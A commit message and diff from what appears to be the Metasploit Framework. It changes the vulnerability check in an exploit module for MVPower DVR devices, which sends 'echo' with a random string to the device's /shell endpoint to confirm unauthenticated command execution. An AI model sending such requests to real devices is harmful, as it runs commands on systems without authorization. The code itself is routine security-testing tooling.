Use query instead of uri in mvpower_dvr_shell_exec

I should have caught this in rapid7#7987, @bcoles, but I forgot. Apologies.
This commit finishes what @itsmeroy2012 attempted to do in rapid7#8070.

Author: wvu

modules/exploits/linux/http/mvpower_dvr_shell_exec.rb

@@ -60,8 +60,9 @@ def check
     begin
       fingerprint = Rex::Text::rand_text_alpha(rand(10) + 6)
       res = send_request_cgi(
-        'method' => "GET",
-        'uri' => "/shell?echo+#{fingerprint}",
+        'method' => 'GET',
+        'uri' => '/shell',
+        'query' => "echo+#{fingerprint}",
         'headers' => { 'Connection' => 'Keep-Alive' }
       )
       if res && res.body.include?(fingerprint)